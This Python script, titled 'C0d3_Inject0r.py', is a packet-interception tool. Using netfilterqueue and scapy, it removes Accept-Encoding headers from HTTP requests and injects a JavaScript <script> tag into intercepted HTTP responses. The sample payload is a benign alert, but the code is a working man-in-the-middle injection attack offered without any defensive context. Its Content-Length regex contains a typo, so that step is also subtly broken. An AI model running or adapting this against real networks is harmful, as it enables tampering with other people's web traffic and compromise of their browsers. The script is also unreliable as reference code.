C0d3_Inject0r.py

import netfilterqueue
import scapy.all as scapy
import re

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet 


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = bytes(scapy_packet[scapy.Raw].load)
        if scapy_packet[scapy.TCP].dport == 80:
            print("[+] HTTP Request")
            load = re.sub(b'Accept-Encoding:.*?\\r\\n', b'',load).decode("ISO-8859-1")

        elif scapy_packet[scapy.TCP].sport == 80:
            print("[+] HTTP Response")
            #print(scapy_packet.show())
            injection_code = bytes(b"<script>alert('Hello Friend');</script>")
            load = load.replace(b"</body>", injection_code + b"</body>").decode("ISO-8859-1")
            content_length_search = re.search('(?:Content-Length>:\s)(\d*)', load)
            if content_length_search and "text/html" in load:
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length,str(new_content_length))

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(bytes(new_packet))


    packet.accept()
    
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()